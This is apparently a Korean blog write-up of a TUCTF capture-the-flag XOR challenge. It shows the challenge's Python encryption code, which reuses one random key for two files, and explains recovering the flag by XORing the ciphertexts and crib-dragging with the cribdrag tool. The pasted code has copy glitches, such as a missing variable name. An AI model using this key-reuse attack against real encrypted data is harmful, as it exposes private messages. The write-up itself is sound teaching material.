이 CTF에서 XOR 암호가 2개 나왔는데, 하나는 키 길이가 주어졌다. (키길이는 9였다)

암호문이 충분히 길었기에 alphabet scoring 방식으로 풀었는데...


나머지 하나가 풀기에 상당히 까다롭게 나왔다.



secret 파일과 flag 파일, 그리고 이를 암호화한 python 소스코드가 주어진다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python2
 
import random
 
def do_xor(p, k):
    out = ''
    for i in xrange(len(p)):
        out += chr(ord(p[i]) ^ ord(k[i]))
    return out
 
 
with open('flag_plaintext''rb') as f1:
    p1 = ''.join(f1.readlines())
 
with open('secret_plaintext''rb') as f2:
    p2 = ''.join(f2.readlines())
 
= max(len(p1), len(p2))
 
key = ''.join([chr(random.randint(0256)) for i in xrange(l)])
 
c1 = do_xor(p1, key)
c2 = do_xor(p2, key)
 
with open('flag''wb') as f1:
    f1.write(c1)
 
with open('secret''wb') as f2:
    f2.write(c2)
 
cs


secret_plaintext 파일과 flag_plaintext 파일을 읽어 둘 중 긴 길이만큼 랜덤한 key를 만들어내고, 이와 xor하여 secret과 flag파일을 만들어낸다.

언듯보기에는 XOR암호가 OTP에 쓰여 깰 수 있을 것 같지않다.


하지만 동일한 XOR키스트림을 두 파일에 썻기때문에


ciphertext1 = key ^ flag ciphertext2 = key ^ secret

ciphertext2 ^ ciphertext1 = key ^ secret ^ key ^ flag = secret ^ flag


위 공식이 성립한다. 즉 secret ^ flag 를 획득 할 수 있다. 그리고 우리는 flag 포맷을 알고있고, 그 포맷이 TUCTF{ 로 구성되어있다는 것을 알고있다.

그러므로 위 secret ^ flag에서 TUCTF{ 가 들어갈 부분과 secret부분을 얻을 수 있을것이다...


물론 여기서부터는 거의 secret과 flag의 추측을 통해서 문제풀이가 이루어진다..

이에 적절한 파이썬 스크립트가 있어서 사용해보았다.


cribdrag 라고 DEF CON 21에서 발표된 예측 가능한 키와 XOR암호문에 대한 cribdrag 공격을 수행하기위한 스크립트라고한다.


아래와 같은 경우 사용할 수 있다.


* 키가 재사용되는 일회성 원타임패드 (두 개의 암호문을 XOR하여 사용)

* 키가 재상용된 모든 스트림 암호 (위와 동일)

* 단일 문자 XOR암호

* 복수 문자 XOR암호


그래서 이를 이용해서 문제를 풀어볼 수 있다.

먼저 flag와 secret의 앞부분을 동일한 크기만큼 가져와서 xorstrings.py를 이용해 xor하여 랜덤한 키부분은 제거해준다.


python xorstrings.py 468A4376450DF466CD200E20C8D62D9C7E62B982A3625F7017EC97FEC4B7F38F4D3FE2E60439F1B8316BF96A7B64E2FBB2FCB5179CCA6001C14794E74A5DF146AD9FE58FB5091EE8BCE96E245A6A6C9B19886A9D3EC1C12C7C07BF99CB8D1351D38491E4E2C4D2C8BD526D94CD 6C9B4570450CE630C9201F20CECA68892B70B881B42505411CBCD1E2D3F4F5825062E2D10E34A4A96566D95A595C84ED8FEC8826A0ED5646ED3DFC9D732EBC64EBE0CFCE897634B781DD53020E155EDB74CF5DB97EB2F4715751EEC7C48D125D818492F0F785C8CEA51D3EB3A8 



이제, 그걸 cribdrag.py에 넣고... 예측되는 message를 입력하여 계속 예측해나가면 된다.



예를 들어 TUCTF{를 입력하면 가능한 출력가능한 문자열을 출력해주는데

여기서 teal m이 가장 유력해보이므로 42를 선택해주면 된다.



이런식으로 커맨드라인에서 계속해서 추측해나가면 된다.







이것말고도 단일XOR암호나 다중XOR암호에서도 쓰일 수 있어서... 꽤나 편리하다. 나중에 또 써먹어야지




+ Recent posts